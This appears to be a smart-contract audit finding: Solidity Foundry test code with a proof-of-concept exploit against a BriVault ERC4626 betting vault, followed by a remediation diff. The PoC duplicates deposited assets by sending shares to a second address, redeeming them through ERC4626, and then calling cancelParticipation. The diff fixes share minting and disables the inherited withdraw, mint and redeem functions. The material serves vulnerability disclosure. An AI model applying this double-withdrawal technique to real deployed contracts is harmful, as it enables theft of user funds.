pragma solidity ^0.8.24;
import {IERC20Errors} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {MockERC20} from "./MockErc20.t.sol";
abstract contract BriVaultExploitTest is Test {
using Math for uint256;
uint256 internal constant FEE_BASE = 10000;
uint256 internal constant FEE_BSP = 100;
uint256 internal constant AFTER_FEE = FEE_BASE - FEE_BSP;
uint256 internal constant MIN_AMOUNT = 0.001 ether;
uint256 internal constant ATTACKER_AMOUNT = 1 ether;
uint256 internal constant USER1_AMOUNT = 5 ether;
uint256 internal constant WINNER_COUNTRY_ID = 0;
uint256 internal immutable startTime = block.timestamp + 1 days;
uint256 internal immutable endTime = startTime + 30 days;
MockERC20 internal immutable token = new MockERC20("Mock", "MTK");
BriVault internal vault;
address internal owner = makeAddr("owner");
address internal attacker1 = makeAddr("attacker1");
address internal attacker2 = makeAddr("attacker2");
address internal user1 = makeAddr("user1");
address internal feeAddr = makeAddr("feeAddr");
string[48] internal countries;
uint256 internal totalWinnerShares;
uint256 internal finalizedVaultAsset;
function setUp() external {
for (uint256 i = 0; i < 48; i++) countries[i] = vm.toString(i);
_deployVault(MIN_AMOUNT);
_deposit(attacker1, attacker1, ATTACKER_AMOUNT);
_deposit(user1, user1, USER1_AMOUNT);
}
function _deployVault(uint256 minAmount) internal {
vm.startPrank(owner);
vault = new BriVault({
_asset: IERC20(address(token)),
_participationFeeBsp: FEE_BSP,
_eventStartDate: startTime,
_participationFeeAddress: feeAddr,
_minimumAmount: minAmount,
_eventEndDate: endTime
});
vault.setCountry(countries);
vm.stopPrank();
}
function _deposit(address user, address receiver, uint256 assets) internal {
token.mint(user, assets);
vm.startPrank(user);
token.approve(address(vault), assets);
vault.deposit(assets, receiver);
vm.stopPrank();
finalizedVaultAsset += assets.mulDiv(AFTER_FEE, FEE_BASE);
}
function _joinEvent(address user, uint256 countryId) internal {
vm.prank(user);
vault.joinEvent(countryId);
if (countryId == WINNER_COUNTRY_ID) totalWinnerShares += vault.balanceOf(user);
}
function _withdraw(address user, uint256 userShares, string memory label) internal returns (uint256 userBalance) {
vm.prank(user);
vault.withdraw();
userBalance = userShares.mulDiv(finalizedVaultAsset, totalWinnerShares);
assertEq(userBalance, token.balanceOf(user), string(abi.encodePacked(label, " wrong balance")));
}
function _erc4626RedeemOrWithdraw(bool useRedeem, address user, string memory label) internal {
uint256 amountShares = vault.balanceOf(user);
uint256 amountAssets = vault.convertToShares(amountShares);
vm.prank(user);
useRedeem ? vault.redeem(amountShares, user, user) : vault.withdraw(amountAssets, user, user);
assertEq(
token.balanceOf(user),
amountAssets,
string(abi.encodePacked(label, " did not receive correct amount"))
);
}
function _endEventAndSetWinner() internal {
vm.warp(endTime + 1 seconds);
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
}
}
pragma solidity ^0.8.24;
import {BriVaultExploitTest, Math} from "./BriVaultExploitTest.t.sol";
contract PocC04 is BriVaultExploitTest {
using Math for uint256;
function test_criticalDepositAllowsAssetDuplicationViaERC4626RedeemOrWithdrawAndCancelParticipation() external {
address attacker3 = makeAddr("attacker3");
uint256 expectedBalance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
_deposit(attacker2, attacker3, ATTACKER_AMOUNT);
assertEq(
vault.balanceOf(attacker2),ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE),
"Attacker2 received correct shares"
);
assertEq(vault.balanceOf(attacker3), 0, "Attacker3 did not receive shares");
_erc4626RedeemOrWithdraw(true, attacker2, "Attacker2");
assertEq(token.balanceOf(attacker2), expectedBalance, "Attacker2 got funds");
vm.prank(attacker3);
vault.cancelParticipation();
assertEq(token.balanceOf(attacker3), expectedBalance, "Attacker3 got funds");
assertEq(
token.balanceOf(attacker2) + token.balanceOf(attacker3),
expectedBalance * 2,
"Assets duplicated"
);
}
}
+ error MethodDisabled()
function deposit(uint256 assets, address receiver) public override returns (uint256) {
...
- _mint(msg.sender, participantShares);
+ _mint(receiver, participantShares);
...
}
+function withdraw(uint256, address, address) public override returns (uint256) {
+ revert MethodDisabled();
+}
+
+function mint(uint256, address) public override returns (uint256) {
+ revert MethodDisabled();
+}
+
+function redeem(uint256, address, address) public override returns (uint256) {
+ revert MethodDisabled();
+}